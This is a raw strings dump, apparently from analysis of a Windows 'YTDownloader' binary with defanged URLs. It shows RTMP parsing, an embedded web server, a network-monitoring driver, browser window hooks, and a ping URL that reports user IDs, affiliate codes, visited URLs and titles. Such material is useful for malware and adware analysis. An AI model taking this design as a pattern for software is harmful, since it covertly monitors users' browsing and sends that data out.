%s, error decoding invoke packet
%s, Sanity failed. no string method in invoke packet
%s, flex shared object, size %u bytes, not supported, ignoring
%s, flex message, size %u bytes, not fully supported
%s, received: notify %u bytes
%s, shared object, not supported, ignoring
%s, received: invoke %u bytes
%s, unknown packet type received: 0xx
%s, flex stream send, size %u bytes, not supported, ignoring
%s, received: bytes read report
Wrong data size (%u), stream corrupted, aborting!
Couldn't find the seeked keyframe in this chunk!
First packet does not contain keyframe, all timestamps are smaller than the keyframe timestamp; probably the resume seek failed?
FLV Stream: Keyframe doesn't match!
Found keyframe with resume-keyframe timestamp!
Checked keyframe successfully!
ignoring too small audio packet: size: %d
ignoring too small video packet: size: %d
Got Play.Complete or Play.Stop from server. Assuming stream is complete
%s: Failed to close listening socket, error %d
Caught signal: %d, cleaning up, just a second...
-c, --cert cert RTMPS cert
-k, --key key RTMPS key
-p, --port port Overrides the port in the rtmp url
%s, _beginthread failed with %d
Unknown command '%c', ignoring
-o %s
-j "%s"
-p "%s"
-W "%s"
-f "%s"
-a "%s"
-r "%s"
%s, client invoking <%s>
%s, received packet type X, size %u bytes
%s: accept failed
%s: processed request
%s: accepted connection from %s
%s, listen failed
%s, TCP bind failed for port number: %d
%s, couldn't create socket
chrome.exe iexplore.exe firefox.exe Safari.exe WebKit2WebProcess.exe opera.exe
._-$,;~()
.mpeg
video/webm
.webm
.xslt
.json
audio/x-mpegurl
.torrent
.jpeg
.shtml
.shtm
.html
url_rewrite_patterns
ssl_certificate
listening_ports
index.html,index.htm,index.cgi,index.shtml,index.php,index.lp
**.shtml$|**.shtm$
mydomain.com
**.cgi$|**.pl$|**.php$
SSL_CTX_use_certificate_chain_file
SSL_CTX_set_default_passwd_cb
SSL_CTX_use_certificate_file
SSL_CTX_use_PrivateKey_file
%s %s:
[0lu] [error] [client %s]
%.*s%s
%d-%3s-%d %d:%d:%d
%*3s, %d %3s %d %d:%d:%d
%d %3s %d %d:%d:%d
%d/%3s/%d %d:%d:%d
%[^:]:%[^:]:%s
HTTP/1.1 401 Unauthorized
WWW-Authenticate: Digest qop="auth", realm="%s", nonce="%lu"
%s:%s:%s
%s.tmp
<tr><td><a href="%s%s%s">%s%s</a></td><td> %s</td><td>  %s</td></tr>
%d-%b-%Y %H:%M
**.htpasswd$
%s%c%s
%a, %d %b %Y %H:%M:%S GMT
HTTP/
%s: CGI env buffer truncated for [%s]
HTTP_%s=%s
REMOTE_USER=%s
PERLLIB=%s
SystemDrive=%s
SYSTEMROOT=%s
COMSPEC=%s
PATH_INFO=%s
PATH=%s
CONTENT_LENGTH=%s
QUERY_STRING=%s
CONTENT_TYPE=%s
HTTPS=%s
PATH_TRANSLATED=%s
SCRIPT_FILENAME=%s
SCRIPT_NAME=%.*s%s
REQUEST_URI=%s
REMOTE_PORT=%d
REMOTE_ADDR=%s
REQUEST_METHOD=%s
SERVER_PORT=%d
SERVER_PROTOCOL=HTTP/1.1
DOCUMENT_ROOT=%s
SERVER_ROOT=%s
SERVER_NAME=%s
Cannot SSI #exec: [%s]: %s
Bad SSI #exec: [%s]
HTTP/1.1 200 OK
<d:response><d:href>%s</d:href><d:propstat><d:prop><d:resourcetype>%s</d:resourcetype><d:getcontentlength>%I64d</d:getcontentlength><d:getlastmodified>%s</d:getlastmodified></d:prop><d:status>HTTP/1.1 200 OK</d:status></d:propstat></d:response>
HTTP/1.1 207 Multi-Status
%d.%d.%d.%d%n
%d.%d.%d.%d/%d%n
%lf%c
%s/%s
boundary=™s
HTTP/1.1 302 Found
Location: hXXps://%s:%d%s
24[^:]
%d.%d.%d.%d:%d%n
Cannot add SSL socket, is -ssl_certificate option set?
%s: %.*s: invalid port spec. Expecting list of: %s
[IP_ADDRESS:]PORT[s|p]
%s: cannot bind to %.*s: %s
set_ports_option
%s - %s [%s] "%s %s HTTP/%s" %d %I64d
%d/%b/%Y:%H:%M:%S %z
%s: subnet must be [ |-]x.x.x.x[/x]
Cannot open %s: %s
calloc(): %s
connect(%s:%d): %s
socket(): %s
gethostbyname(%s): %s
%s: %s is not allowed to connect
HTTP/1.1 %d %s
Content-Length: %d
Connection: %s
Error %d: %s
%s: CreateProcess(%s): %ld
%s%s%s\%s
%.*s%c%s
.htpasswd
fopen(%s): %s
%s: cannot open %s: %s
<tr><td><a href="%s%s">%s</a></td><td> %s</td><td>  %s</td></tr>
<html><head><title>Index of %s</title><style>th {text-align: left;}</style></head><body><h1>Index of %s</h1><pre><table cellpadding="0"><tr><th><a href="?n%c">Name</a></th><th><a href="?d%c">Modified</a></th><th><a href="?s%c">Size</a></th></tr><tr><td colspan="3"><hr></td></tr>
Error: opendir(%s): %s
Date: %s
Last-Modified: %s
Etag: %s
HTTP/1.1 100 Continue
Cannot create CGI pipe: %s
fopen: %s
CGI program sent malformed or too big (>%u bytes) HTTP headers: [%.*s]
Cannot spawn CGI process [%s]: %s
put_dir(%s): %s
HTTP/1.1 %d OK
Bad SSI #include: [%s]
Cannot open SSI #include: [%s]: fopen(%s): %s
%s: SSI tag is too large
%s: unknown SSI command: "%s"
SSI #include level is too deep (%s)
Method %s is not implemented
HTTP/1.1 301 Moved Permanently
Location: %s/
remove(%s): %s
Bad HTTP version
Bad HTTP version: [%s]
Invalid URI: [%s]
%s: option value cannot be NULL
Invalid option: %s
warning: %s: duplicate option
Hello from mongoose! Remote port: %d
HttpSendRequestW failed with error code
HttpOpenRequestW failed with error code
RegOpenKeyTransactedW
RegCreateKeyTransactedW
RegDeleteKeyTransactedW
RegDeleteKeyExW
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
Visual C   CRT: Not enough memory to complete call to strerror.
cmd.exe
Broken pipe
Inappropriate I/O control operation
Operation not permitted
portuguese-brazilian
operator
GetProcessWindowStation
C:\BUILDS\Build_YTDownloader\Client\WFP\exe\RemoteRelease\YTDownloader.pdb
.?AVCHttp@@
<>"#{}|\^~[]`' ?&
.?AVCRtmpe@@
.?AV?$IBaseInterface@VIKeysBank@@@@
.?AVIKeysBank@@
.?AV?$CBaseInterface@VCKeysBank@@VIKeysBank@@@@
.?AVCKeysBank@@
.?AVCRtmpDataProperty@@
.?AVCRtmpPacket@@
.?AVCRtmpParser@@
.?AVChromeBrowserWindow@@
.?AVFirefoxBrowserWindow@@
.?AVOperaBrowserWindow@@
HTTP://
.?AVHttpParser@@
.?AVCHttpDownload@@
zcÁ
WinExec
CreatePipe
KERNEL32.dll
MsgWaitForMultipleObjectsEx
EnumChildWindows
USER32.dll
GDI32.dll
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegDeleteKeyW
RegOpenKeyW
RegEnumKeyW
RegNotifyChangeKeyValue
RegQueryInfoKeyW
RegEnumKeyExW
ADVAPI32.dll
ShellExecuteExW
ShellExecuteW
SHELL32.dll
ole32.dll
OLEAUT32.dll
COMCTL32.dll
WS2_32.dll
LIBEAY32.dll
HttpEndRequestW
HttpQueryInfoW
HttpSendRequestW
HttpSendRequestExW
HttpAddRequestHeadersW
HttpOpenRequestW
WININET.dll
VERSION.dll
CertGetNameStringW
CertFreeCertificateContext
CryptMsgClose
CertCloseStore
CertFindCertificateInStore
CryptMsgGetParam
CRYPT32.dll
PSAPI.DLL
IsValidURL
urlmon.dll
GdiplusShutdown
gdiplus.dll
GetCPInfo
GetProcessHeap
nnn%XXX
pppaSSS
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
89x9
0-161T1k1}1
0(191?1`2
8&9-9}9
<041&3.3
;$;(;,;0;4;8;<;@;
<(</<4<8<<<]<
<&=,=0=4=8=
= =$=(=,=0=4=8=
: :(:,:0;4;
? ?$?,?0?8?<?
? ?(?,?0?
1 2,242\2
?$?0?8?`?
8(848\8|8
0$000\0|0
>(>4><>`>
?$?<?@?\?`?
0 0@0`0|0
3 3@3`3|3
1$1,141<1
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
HTTP/1.1
Content-Disposition: form-data; name="%s"
XXX
Content-Type: multipart/form-data; boundary=%s
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
ConfigDB.dll
config.xml
%%X
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
CertGetNameString failed.
CryptDecodeObject failed with %x
CertFindCertificateInStore failed with %x
MoreInfo Link : %s
Publisher Link : %s
Program Name : %s
CryptMsgGetParam failed with %x
CryptQueryObject failed with %x
user32.dll
WININET.DLL
kernel32.dll
d/d/%d d:d:d::d
%d.%d.%d.%d
[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d
"%s" "%s"
"%s" %s
[CUtils::GetDAPExeLocation] ___Error read DAP location from %s
[CUtils::GetDAPExeLocation] Name: %s
[CUtils::GetDAPPipeName] ___Error read DAP Pipe Name from %s
[CUtils::GetDAPPipeName] Name: %s
PipeName
[CUtils::GetDAPWindowName] ___Error read DAP Window Name from %s
[CUtils::GetDAPWindowName] Name: %s
[CIEDownloadAcceleratorEngine::CallDAP] ___Error CreateProcess: %s, Parameters: %s. LE: %d
[CClientRtmpe::HandShake] ___Error DiffieHellman - GetPublicKey
[CClientRtmpe::HandShake] ___Error Keys Bank was unable to generate a pubic key
[CClientRtmpe::operator =] Key Out: %p
[CClientRtmpe::operator =] Key In:
[CClientRtmpe::operator =]
[CClientRtmpe::OnHandshake] Step 3 - update the keystreams
[CClientRtmpe::OnHandshake] ___Error Step 3 - ___Error ComputeSharedSecretKey
[CClientRtmpe::OnHandshake] Step 3 - ComputeSharedSecretKey
[CClientRtmpe::OnHandshake] Step 2 - Client version: %x
[CClientRtmpe::OnHandshake] Step 2 - Client up time: %d
[CClientRtmpe::OnHandshake] Step 2 - Protocol: %d
[CKeysBank::Work] Exit...
[CKeysBank::Work] Enter...
[CKeysBank::Start]
[CKeysBank::Stop]
[CKeysBank::GetPublicKey] Remove Key, Total: %d
[CKeysBank::GenerateKey] Add Key, Total: %d
[CKeysBank::GenerateKey] ___Error DiffieHellman.GenerateKey
[CKeysBank::GenerateKey] ___Error DiffieHellman.Init
[CRtmpe::operator =] Key Out: %p
[CRtmpe::operator =] Key In:
[CRtmpe::operator =]
[CRtmpe::Initialize] Cache Writer: %p
[CRtmpe::ParseHeader] Protocol - RTMPE
[CRtmpe::ParseHeader] Protocol - RTMP
[CRtmpe::ParseHeader]
[CRtmpe::ParseData] Got all %d/%d bytes
[CRtmpe::ParseData] ___Warning - wait for all packet data to arraive (%d/%d)
[CRtmpe::ParseData]
[CRtmpe::Encrypt] Encryped %d bytes, Key: %p
[CRtmpe::Decrypt] Decrypted %d bytes, Key: %p
[CRtmpe::ParseBuffer] Analyze Next Packet...
[CRtmpe::HandShake] Step 1: Complete
[CRtmpe::HandShake] ___Error Step 1: Writing client signature to server
[CRtmpe::HandShake] ___Error Step 1: DiffieHellman - GetPublicKey
[CRtmpe::HandShake] ___Error Keys Bank was unable to generate a pubic key
[CRtmpe::HandShake] Step 1: Start...
[CRtmpe::UpdateBuffer] Analyzed %d/%d bytes
[CRtmpe::UpdateBuffer] Handshake already completed
[CRtmpe::UpdateBuffer] Analyzing %d bytes...
[CRtmpStream::OnHandShake] ___Error - Unknown step
[CRtmpe::OnHandshake] Step 3 - Complete
[CRtmpe::OnHandshake] Step 3 - update the keystreams
[CRtmpe::OnHandshake] Step 3 - InitRC4Encryption
[CRtmpe::OnHandshake] ___Error Step 3: m_DiffieHellman - ComputeSharedSecretKey
[CRtmpe::OnHandshake] Step 3 - ComputeSharedSecretKey
[CRtmpe::OnHandshake] ___Error Step 3: Writing client response
[CRtmpe::OnHandshake] Step 3: Start...
[CRtmpe::OnHandshake] ___Error Step 2: *** Server response validation ***
[CRtmpe::OnHandshake] ___Warning - server version
[CRtmpe::OnHandshake] ___Error Step 2: Reading server response
[CRtmpe::OnHandshake] ___Error Step 2: *** Server signature validation ***
[CRtmpe::OnHandshake] Step 2 - Server version: %x
[CRtmpe::OnHandshake] Step 2 - Server up time: %d
[CRtmpe::OnHandshake] ___Error Step 2: Reading server signature
[CRtmpe::OnHandshake] Step 2 - Protocol: %d
[CRtmpe::OnHandshake] Step 2: Start...
[CRtmpPacket::Reset]
[CRtmpPacket::DumpHeader] Info Field: %d
[CRtmpPacket::DumpHeader] Packet Type: %d
[CRtmpPacket::DumpHeader] Packet Length: %d
[CRtmpPacket::DumpHeader] Absolute Time: %d
[CRtmpPacket::DumpHeader] Time: %d
[CRtmpPacket::DumpHeader] Channel: %d
[CRtmpPacket::DumpHeader] Header Type: %d
[CRtmpPacket::DumpHeader] Header Size: %d
[CRtmpPacket::DumpHeader] Header Byte: 0x%.02X
[CRtmpPacket::ParseHandshakeHeader] ___Error - Header already parsed
[CRtmpPacket::ParseFlvHeader] Absolute Time: %d
[CRtmpPacket::ParseFlvHeader] Packet Length: %d
[CRtmpPacket::ParseFlvHeader] Packet Type: %d
[CRtmpPacket::ParseFlvHeader] Channel: %d
[CRtmpPacket::ParseFlvHeader] Header Type: %d
[CRtmpPacket::ParseFlvHeader] Header Size: %d
[CRtmpPacket::ParseFlvHeader] ___Warning - %d/%d header bytes
[CRtmpPacket::ParseFlvHeader] ___Error - No bytes to analyze
[CRtmpPacket::ParseFlvHeader] ___Error - Header already parsed
[CRtmpPacket::AppendData] Appended: %d (Total: %d/%d)
[CRtmpPacket::AppendData] ___Error - out of memory
[CRtmpPacket::AppendData] ___Warning - no bytes to append
[CRtmpPacket::Allocate] Allocated %d (Total: %d)
[CRtmpPacket::ParseHeader] ___Error - Channel: %d > 9
[CRtmpPacket::ParseHeader] Extended Time: %d
[CRtmpPacket::ParseHeader] Info Field: %d
[CRtmpPacket::ParseHeader] ___Warning - Packet Length: %d > 1M
[CRtmpPacket::ParseHeader] Packet Type: %d
[CRtmpPacket::ParseHeader] Packet Size: %d
[CRtmpPacket::ParseHeader] Time: %d
[CRtmpPacket::ParseHeader] Channel: %d
[CRtmpPacket::ParseHeader] Header Type: %d
[CRtmpPacket::ParseHeader] Header Size: %d
[CRtmpPacket::ParseHeader] Header Byte: 0x%.02X
[CRtmpPacket::ParseHeader] ___Warning - %d/%d header bytes
[CRtmpPacket::ParseHeader] ___Error - No bytes to analyze
[CRtmpPacket::ParseHeader] ___Error - Header already parsed
[CRtmpParser::Stop]
[CRtmpParser::ProcessData] ___Error - Unknown Packet Type: %d, Offset: %d
[CRtmpParser::ProcessData] Analyze Data: %d bytes
[CRtmpParser::ProcessData] ___Warning - Packet not ready for Data Processing
[CRtmpParser::OnHandshake] Step 4: Complete
[CRtmpParser::OnHandshake] Step 3: Complete
[CRtmpParser::OnHandshake] Step 2 - Server version: %d.%d.%d.%d
[CRtmpParser::OnHandshake] Step 2 - Server up time: %d
[CRtmpParser::OnHandshake] Step 1 - Client version: %d.%d.%d.%d
[CRtmpParser::OnHandshake] Step 1 - Client up time: %d
[CRtmpParser::OnHandshake] Protocol State: %d
[CRtmpParser::OnAudio]
[CRtmpParser::OnVideo]
[CRtmpParser::OnFLV]
[CRtmpParser::OnData]
[CRtmpParser::SetTimeStartPosition] Time: %d
[CRtmpParser::SetTimeEndPosition] Time: %d
[CRtmpParser::Close]
[CRtmpParser::OnError]
[CRtmpParser::SetAbsoluteTime] Client Absolute Time: %d (Max: %d)
[CRtmpParser::SetAbsoluteTime] Server Absolute Time: %d (Max: %d)
[CRtmpParser::Sync - %p]
[CRtmpParser::ParseFlvHeader]
[CRtmpParser::ParseData] Accumulated all %d/%d bytes
[CRtmpParser::ParseData] Chunk not ready
[CRtmpParser::ParseData] Going to append %d bytes
[CRtmpParser::ParseData] Got all %d/%d bytes
[CRtmpParser::ParseData] ___Warning - wait for all packet data to arraive (%d/%d)
[CRtmpParser::ParseData] ___Warning no data
[CRtmpParser::ParseData]
[CRtmpParser::ParseDataType] ___Error - Unknown Data Type: %d, Offset: %d
[CRtmpParser::ParseDataType] Date %f %d (Offset: %d)
[CRtmpParser::ParseDataType] Static Array %d (Offset: %d)
[CRtmpParser::ParseDataType] EOF Object (Offset: %d)
[CRtmpParser::ParseDataType] ECMA Array %d (Offset: %d)
[CRtmpParser::ParseDataType] Object (Offset: %d)
[CRtmpParser::OnChangeChunkSize] %d -> %d
[CRtmpParser::OnChangeChunkSize]
[CRtmpParser::OnReadBytes] Bytes read: %d
[CRtmpParser::OnReadBytes]
[CRtmpParser::OnMetadata]
[CRtmpParser::Reset - %p]
[CRtmpParser::ReadObject] ___Error %s - %d (Offset: %d) - Unknown Data Type
[CRtmpParser::ReadObject] EOF Object (Offset: %d)
[CRtmpParser::ReadObject] %s - Long String: %s (Offset: %d)
[CRtmpParser::ReadObject] %s - Date: %g (Offset: %d)
[CRtmpParser::ReadObject] %s - Static Array: %d (Offset: %d)
[CRtmpParser::ReadObject] %s - ECMA Array: %d (Offset: %d)
[CRtmpParser::ReadObject] %s - NULL (Offset: %d)
[CRtmpParser::ReadObject] %s - Object (Offset: %d)
[CRtmpParser::ReadObject] %s - String: %s (Offset: %d)
[CRtmpParser::ReadObject] %s - Boolean: %s (Offset: %d)
[CRtmpParser::ReadObject] %s - Numeric: %g (Offset: %d)
[CRtmpParser::ParseHandshakeHeader] Protocol - RTMPE
[CRtmpParser::ParseHandshakeHeader] Protocol - RTMP
[CRtmpParser::ParseHandshakeHeader]
[CRtmpParser::ParseHeader] Absolute Time: %d
[CRtmpParser::ParseHeader] New Time: %d
[CRtmpParser::ParseHeader] New Absolute Time: %d
[CRtmpParser::ParseHeader] _Prev Packet - Info Field: %d
[CRtmpParser::ParseHeader] _Prev Packet - Buffer Bytes: %d
[CRtmpParser::ParseHeader] _Prev Packet - Buffer Length: %d
[CRtmpParser::ParseHeader] _Prev Packet - Buffer: %p
[CRtmpParser::ParseHeader] _Prev Packet - Packet Type: %d
[CRtmpParser::ParseHeader] _Prev Packet - Packet Size: %d
[CRtmpParser::ParseHeader] _Prev Packet - Absolute Time: %d
[CRtmpParser::ParseHeader] _Prev Packet - Time: %d
[CRtmpParser::ParseHeader] _Prev Packet - Original Header Size: %d
[CRtmpParser::ParseHeader]
[CRtmpParser::UpdateBufferFromServer] Analyzed no bytes
[CRtmpParser::UpdateBufferFromServer] Analyzed %d/%d, Write: %d, Discard: %d
[CRtmpParser::UpdateBufferFromServer] Analyze Next Buffer... (Left: %d)
[CRtmpParser::UpdateBufferFromServer] Decrypt %d/%d bytes
[CRtmpParser::UpdateBufferFromServer] *** Data file Ended at Absolute Time: %d ***
[CRtmpParser::UpdateBufferFromServer] *** Data file Started at Absolute Time: %d ***
[CRtmpParser::UpdateBufferFromServer] Parser was stopped - discard the rest of the data!
[CRtmpParser::UpdateBufferFromServer] Decrypt %d bytes
[CRtmpParser::UpdateBufferFromServer] Parser was stopped - discard all data!
[CRtmpParser::UpdateBufferFromServer] Analyzing %d bytes...
[CRtmpParser::UpdateBufferFromClient] Analyzed %d/%d, Write: %d, Discard: %d
[CRtmpParser::UpdateBufferFromClient] Encrypt %d bytes
[CRtmpParser::UpdateBufferFromClient] Decrypt %d/%d bytes
[CRtmpParser::ParseBuffer] Analyze Next Packet... (Left: %d)
[CRtmpParser::UpdateBufferFromClient] Decrypt %d bytes
[CRtmpParser::UpdateBufferFromClient] ___Warning - Wait for the server handshake to complete...
[CRtmpParser::UpdateBufferFromClient] Analyzed no bytes
[CRtmpParser::UpdateBufferFromClient] Analyzing %d bytes...
[CRtmpParser::operator = %p] <= %p
[CRtmpParser::ParseFlvBuffer] Analyze Next FLV Buffer...
[CRtmpParser::AddDownloadFlowCommand] Method: %s -> Command: %s, Param: %d
[CRtmpParser::OnPing] SWFVerification
[CRtmpParser::OnPing] Time: %d
[CRtmpParser::OnPing] -- Unknown %d --
[CRtmpParser::OnPing] Stream buffer ready %d
[CRtmpParser::OnPing] Pause time: %d
[CRtmpParser::OnPing] Stream buffer empty %d
[CRtmpParser::OnPing] Pong %d
[CRtmpParser::OnPing] Stream is recorded %d
[CRtmpParser::OnPing] Ping %d
[CRtmpParser::OnPing] Stream dry %d
[CRtmpParser::OnPing] Stream EOF %d
[CRtmpParser::OnPing] Stream begin %d
[CRtmpParser::OnPing] Type: %d
[CRtmpParser::OnPing]
[CRtmpParser::OnServerBW] Server Bandwidth: %d
[CRtmpParser::OnServerBW]
[CRtmpParser::OnClientBW] Client Bandwidth: %d
[CRtmpParser::OnClientBW]
[CRtmpParser::OnInvoke] ___Error - Unknown Invokde method: %s
[CRtmpParser::OnInvoke] setBandwidthLimit( %g, %g )
[CRtmpParser::OnInvoke] getStats
[CRtmpParser::OnInvoke] secureTokenResponse: Token = %s
[CRtmpParser::OnInvoke] closeStream: StreamID = %g
[CRtmpParser::OnInvoke] deleteStream: StreamID = %g
[CRtmpParser::OnInvoke] releaseStream: PlayPath = %s
[CRtmpParser::OnInvoke] startStream: PlayPath = %s
[CRtmpParser::OnInvoke] createStream: StreamID = %g
[CRtmpParser::OnInvoke] %s( '%s', '%s', '%s' )
[CRtmpParser::OnInvoke] %s( '%s', '%s' )
[CRtmpParser::OnInvoke] seek( '%d' )
[CRtmpParser::OnInvoke] %s( '%d', '%g' )
[CRtmpParser::OnInvoke] %s( '%s' ), PacketInfo: %d
[CRtmpParser::OnInvoke] onStatus - code: %s, level: %s
[CRtmpParser::OnInvoke] _error - code: %s, level: %s
[CRtmpParser::OnInvoke] %s( '%s' )
[CRtmpParser::OnInvoke] _result createStream: StreamID = %g
[CRtmpParser::OnInvoke] _result connect - AMF3
[CRtmpParser::OnInvoke] _result connect: %s
[CRtmpParser::OnInvoke] _result for Method: %s
[CRtmpParser::OnInvoke] Method: %s
[CRtmpParser::OnInvoke]
Download Helper SendMsgToBtn, url: %s
Could not find converter registry key, %ws
Could not create process, error %x, proc %ws
RegContentType%d
RegRawData%d
RegProtocol%d
RegAgent%d
RegCookie%d
1.0.1.0
RegFileName%d
RegUrl
RegURL%d
%ws_%d.log
- Mozilla Firefox
- Windows Internet Explorer
opera
firefox
chrome
OPERA
opera.exe
safari.exe
firefox.exe
iexplore.exe
chrome.exe
explorer.exe
Google Chrome
Chrome_WidgetWin_1
Firefox
FirefoxBrowserWindow Found browser window, 0x%x
FirefoxBrowserWindow Found button window, 0x%x
IE9BrowserWindow Found browser window, 0x%x
IE9BrowserWindow Found button window, 0x%x
OperaBrowserWindow Found browser window, 0x%x
OperaBrowserWindow Found button window, 0x%x
Opera
SafariBrowserWindow Found browser window, 0x%x
SafariBrowserWindow Found button window, 0x%x
hXXp://VVV.youtube.com/watch?v=
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.79 Safari/537.1
YTParser url not valid %ws
SBMonitor.log
Error no signature found at %s
GetVideoUrlAndSizeFromWatchPage Could not extract url_encoded_fmt_stream_map params.
GetVideoUrlAndSizeFromWatchPage
YTParser could not find valid url, not downloading
hXXp://VVV.youtube.com/get_video_info?video_id=
GetVideoUrlAndSizeFromVideoInfo
Failed processing urls from watch page.
reportLevel
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
(build %d)
Windows 2000
Windows XP
Web Edition
Windows Server 2003,
Windows XP Professional x64 Edition
Windows Home Server
Windows Storage Server 2003
Windows Server 2003 R2,
Web Server Edition
Windows Server 2008 R2
Windows 8
Windows 7
Windows Server 2008
Windows Vista
{X-hX-hX-XX-XXXXXX}
sbmntr.sys
Converter.exe
DownloadHelper.exe
HELPEREXELOCATION
YTDownloader.exe
MONITOREXELOCATION
hXXp://VVV.ytdownloader.com/feedback/
Driver - %ws: %x
\\.\SBMonitor
net.exe
Driver installed, NOT loaded: %s
Driver installed, loaded from %s
Software\Opera Software\
%programFiles%\Opera\opera.exe
Apple Application Support\WebKit2WebProcess.exe
Safari.exe
%programFiles%\Safari\Safari.exe
%programFiles%\Mozilla Firefox\firefox.exe
IEXPLORE.EXE
%programFiles%\Internet Explorer\iexplore.exe
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
%LOCALAPPDATA%\Google\Chrome\Application\chrome.exe
converter.exe
webm
[CMonitor::AddAppIdToDriver]___Error: Could not add App Ids (%x).
Same as one of buttons PID %d
Same as our PID %d
[CMonitor::EnableMonitoring]___Error: Could not enable monitoring device (%x).
___Error: Could not open device (%u).
-pid %d -size %s -sizeBytes %I64d -type %s -url %s -cookie %s -referer %s -host %s -useragent %s -resolution %s -protocol http
CMonitor::BuildParams Already created similar url, %ws
CMonitor::BuildParams Button exists for similar url, %ws
youtube.com
-pid %d -size %I64d -sizeBytes %I64d -type %s -url %s -cookie %s -referer %s -host %s -ads %s -useragent %s -protocol http
-pid %d -rawdata %s -protocol rtmp -duration %s -resolution %s
Fwpuclnt.dll
https
Not application/octet-stream video and the size is bigger than %d, %d
Not application/octet-stream video and the size is smaller than %d
Not FLV video and the size is smaller than %d
vid2.ak.dmcdn.net
CHttpMonitor::SameYoutubeVideo Same params page id = %s, itag = %s
CHttpMonitor::SameYoutubeVideo DASH same params page id = %s, itag = %s
CHttpMonitor::SameYoutubeVideo Same watch page %s
HTTP_Version_String
[HttpParser::ParseLine] ___Error: The field separator was not found in the line:
VVV.google.com
Global\{9DA0BEED-7248-450a-B27C-C0409BDC377D}
YTD-icon-128x128.png
Advapi32.dll
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE
HKEY_USERS
HKEY_PERFORMANCE_DATA
HKEY_DYN_DATA
HKEY_CURRENT_CONFIG
%saction=%s&userid=%s&usid=%s&aff=%s&v=%s&url=%s&title=%s&pingtext=%s&protocol=%s&size=%I64d&ref=%s&browser=%s
hXXp://rep.ytdownloader.com/app/ping.ashx?
%s%s%s
[RtmpDownloader::CreateProcessStdoutPipe] ___Error SetHandleInformation: %d
[RtmpDownloader::CreateProcessStdoutPipe] ___Error CreatePipe: %d
[RtmpDownloader::CreateProcessStdoutPipe] ___Error StdOut CloseHandle: %d
rtmpdump.exe
[RtmpDownloader::ReadFromPipe] --- Download Ends ---
